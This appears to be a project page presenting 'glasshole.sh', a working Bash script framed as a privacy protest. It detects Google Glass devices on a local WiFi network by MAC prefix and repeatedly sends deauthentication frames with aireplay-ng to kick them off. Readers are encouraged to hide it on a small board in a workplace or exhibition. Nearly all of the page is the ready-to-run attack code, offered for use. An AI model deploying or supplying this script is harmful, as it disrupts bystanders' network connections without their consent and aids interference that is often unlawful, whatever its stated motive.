Find a Google Glass and kick it from the network

Privacy is the power to selectively reveal oneself to the world.” - A Cypherpunk’s Manifesto, 1993

Glass Ban

Context

This script is a response to a comment by Omer Shapira that the presence of Google Glass worn by audience at an ITP graduate exhibition left him feeling understandably uneasy; it was not possible to know whether they were recording, or even streaming what they were recording to a remote service over WiFi.

It follows a productive and open-chested rant by Omer on the suspect interests and expectations of some audience at the ITP show.

glasshole.sh

The below script will find and detect Google Glass on the local network and kick them off. Read the comments for more details.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash
#
# GLASSHOLE.SH
#
# Find and kick Google Glass devices from your local wireless network.  Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host.  Put on a BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it, hide it in your workplace or your exhibition.
#
# Save as glasshole.sh, 'chmod +x glasshole.sh' and exec as follows:
#
#   sudo ./glasshole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
# 
# Thanks to Jens Killus for new rev Glass MAC addr and extglob hint (phew).
# Thanks to Tim Meusel for line pulling MAC from 'ip' rather than legacy 'ifconfig'

shopt -s nocasematch # Set shell to ignore case
shopt -s extglob # For non-interactive shell.

NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
# MAC=$(ip link show "$NIC" | awk '/ether/ {print $2}') # If 'ifconfig' not present.
GGMAC='@(F8:8F:CA:24*|F8:8F:CA:25*)' # Match against old and new Glass. 
POLL=30 # Check every 30 seconds

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device

echo '
   ___           _ __    __                     __             __        __   
  / _ \___  ___ ( ) /_  / /  ___   ___ _  ___ _/ /__ ____ ___ / /  ___  / /__ 
 / // / _ \/ _ \|/ __/ / _ \/ -_) / _ `/ / _ `/ / _ `(_-<(_-</ _ \/ _ \/ / -_)
/____/\___/_//_/ \__/ /_.__/\__/  \_,_/  \_, /_/\_,_/___/___/_//_/\___/_/\__/ 
                                        /___/                                 
'

while true;
    do  
        for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
        '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
           do
               if [[ $TARGET == $GGMAC ]]
                   then
                       # Audio alert
                       beep -f 1000 -l 500 -n 200 -r 2
                       echo "Glasshole discovered: "$TARGET
                       echo "De-authing..."
                       aireplay-ng -0 1 -a $BSSID -c $TARGET mon0 
                    else
                        echo $TARGET": is not a Google Glass. Leaving alone.."
               fi
           done
           echo "None found this round."
           sleep $POLL
done
airmon-ng stop mon0

UPDATE 31.05.14: Moved airmon-ng virtual monitor device creation out of main loop to speed things up.

UPDATE 05.06.14: Adopted extglob hint by Jens Killus and added new revision Glass MAC addr.

UPDATE 07.10.14: Added commented line using ‘ip’ rather than legacy ‘ifconfig’, by Tim Meusel.

Press